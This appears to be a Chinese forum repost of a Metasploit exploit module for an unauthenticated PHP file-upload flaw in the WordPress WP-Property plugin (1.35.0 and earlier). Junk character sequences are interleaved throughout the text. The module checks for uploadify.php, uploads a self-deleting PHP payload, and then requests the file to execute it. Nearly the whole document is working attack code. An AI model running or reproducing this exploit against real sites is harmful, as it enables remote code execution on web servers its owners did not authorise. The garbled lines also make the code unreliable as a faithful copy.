WordPress WP-Property PHP 文件上传漏洞" g" O& l( @( C: x; O
1 S9 `. ?- S% D+ _0 b- x5 c7 c ## # This file is part of the Metasploit Framework and may be subject to
' T3 q' K6 r4 j- H T# [: A8 o0 f" q% K0 y- B
# redistribution and commercial restrictions. Please see the Metasploit3 i8 m; R; I5 v8 Q5 B" P0 s4 o
" J8 X5 H2 O3 e
# Framework web site for more information on licensing and terms of use.
9 m: @5 P% N3 S0 n$ v& s
2 ?8 p2 j% n: O }9 C# http://metasploit.com/framework/ ##
\, B/ o! ?5 s" u7 ~( \
- U2 m. l$ h3 L7 [7 O3 ^7 H
5 r3 P5 `2 ~0 u- h- A% t+ D% o4 S; |
! A o( g6 k, e" e! ?
7 w( ]; [6 u# x" e" K+ Z: {. C/ B$ ]) N2 A. x& T( Q5 Y2 C( y
require 'msf/core'
7 x6 o5 P2 n. L, L' \2 I# W8 ^require 'msf/core/exploit/php_exe'$ Z [8 R- N7 h4 T
+ q6 o& z9 O o6 O. dclass Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit: hpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress WP-Property PHP File Upload Vulnerability', q- P6 d7 e2 C5 d7 z
'Description' => %q{$ _7 [/ q9 S- r m+ p
This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress plugin. By abusing the uploadify.php file, a malicious user can upload a file to a temp directory without authentication, which results in arbitrary code execution. }, 'Author' =>
0 ^3 X. U% h s: F[. V$ \9 `( s$ F; }. E, C+ d# T
'Sammy FORGIT', # initial discovery6 `" }2 R4 R" r; Z2 j% A
'James Fitts <fitts.james[at]gmail.com>' # metasploit module
. F% o+ H v' {],; U2 _" L; S9 g; b* [" ]! Z- x
'License' => MSF_LICENSE," f' K: k# S5 b) {+ z, V$ `
'References' =>0 j; [3 N; T$ r0 }# v
[
$ _7 h7 \ Y6 W( M[ 'OSVDB', '82656' ],: x) k- M, p- L6 |
[ 'BID', '53787' ],
3 ~9 N( j( k: r1 z. P! K[ 'EDB', '18987'],/ Z f+ n# w7 ~+ Q4 B4 f- O
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]
: v. l& C. A5 A1 g],
3 ~6 q) V) e+ a+ c. E- d- f5 H% H'Payload' =>; d# A% @. P8 p
{& a0 p# Y7 m1 I' u
'BadChars' => "\x00",
% o5 l& u4 E0 l, j7 W2 u2 k},5 U) J$ n, G3 ^% Y" ~1 E5 a }2 M
'Platform' => 'php',
" {$ [1 t- U% Z/ U0 U2 Q'Arch' => ARCH_PHP,. h6 `: _8 m+ ]! F9 s: o; k. k
'Targets' =>% I, [& X/ n* q3 Z: Y4 w* X
[1 i6 U: `! Q) }. c1 y1 h1 u0 m3 @) I
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],7 H6 b: F- X. m0 j! |; L
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]8 \6 v( S/ B8 L5 w, C M
]," }) ~) K( |1 L" o( I
'DefaultTarget' => 0,( W" y/ j0 N5 ]( c: X" O! m& S& A" U" @
'DisclosureDate' => 'Mar 26 2012'))
0 ]3 G- v; {# ]
9 Y4 H" d0 w9 \5 ^: i9 ~6 Uregister_options(
0 L3 N6 T/ p; a* s' s, ][
7 q5 y: h) K$ r* kOptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
" R) |. L# ?/ s& `], self.class)- x# [" T8 z3 V& H. a+ ^
end
. @1 ~ {( u( E4 ^1 c1 Z+ L4 e7 D- |! k+ F8 Q
def check7 X3 n+ n6 p* F3 I% r
uri = target_uri.path
! {/ Z+ `; j K. p- `8 H; t" \* Buri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET',, ]) o8 E. d9 o. j& G* ^7 I
'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"$ h7 T5 c4 d' u. z
})" C+ F! n7 u0 o' r9 r4 K! i
# L, P# z7 p) V: E+ `
if not res or res.code != 200
9 A! C% T, [* W6 Creturn Exploit::CheckCode::Unknown
+ z, U% \3 J1 F* Hend: y9 g# D M+ P
) i& A- o( {. ]# q/ Zreturn Exploit::CheckCode::Appears9 C$ r1 f. N* R$ E, f' T
end
" }- Y0 n# m0 }! n, H+ X
a- N Y2 j. m- w* o) W$ E4 s gdef exploit% V& l) K$ ~5 E3 a7 g
uri = target_uri.path
6 [+ g9 G: l* y5 @2 Ruri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @payload_name = "#{rand_text_alpha(5)}.php" php_payload = get_write_exec_payload(:unlink_self=>true)3 o" @4 s: G! J% I9 ]6 Q1 K# Q
7 D) p/ _6 T! X: L5 @
data = Rex::MIME::Message.new) D: ~& f$ J/ F1 z. U3 w7 {' x3 g7 \
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")* n* a3 R) z7 O4 p/ r8 ?
data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
& s& _, Y/ d- B+ Bpost_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')5 B! Z- _5 v$ b* y5 {
9 _4 L7 A- U: Q9 M) I0 g
print_status("#{peer} - Uploading payload #{@payload_name}")/ K- C. y- O- Y/ q; G" T+ [
res = send_request_cgi({
% Z3 G& N8 ?7 |5 |3 L! G; ~# E'method' => 'POST',& B& E" ~* x* `% i9 A: x3 G4 E
'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",! Z% f& B k; o+ x& t
'ctype' => "multipart/form-data; boundary=#{data.bound}",# V2 ?% E* o' G2 T9 }! _: B
'data' => post_data: h9 F9 L) |: F" a) W& Z
}). E9 k- T, R! T7 n) g0 n' a
: q7 W# g6 m0 @6 C- s, I
if not res or res.code != 200 or res.body !~ /#{@payload_name}/
( L+ ^, A3 y1 ^ _, M2 a" _( hfail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")$ P& r6 u7 Q" u. P( b5 }
end
$ B5 q) _# Z9 G Y( Z" S, ]
+ r3 I+ o5 e [, f% nupload_uri = res.body
- v4 z- F& i i* M
7 F) ~* E" s# O Mprint_status("#{peer} - Executing payload #{@payload_name}")
- i4 g9 m; z, ]+ }7 {res = send_request_raw({% {' t0 T. U3 M7 j" A
'uri' => upload_uri,
9 y% I7 B3 w( r% O7 |: q) }'method' => 'GET'
% Z& C3 y' K0 c8 y7 L})
|' b- @/ F5 Q& C F2 P0 Wend
3 a8 c6 q: R6 s4 p4 `6 m! i# Wend
" m$ u2 \ ~7 L8 x) K# p: J$ q" z1 _
不要问我这写的是什么 怎么利用 我是说msf.
: m: I* y- \2 V0 Z/ n& C0 t# r# p- a4 w7 H$ {
|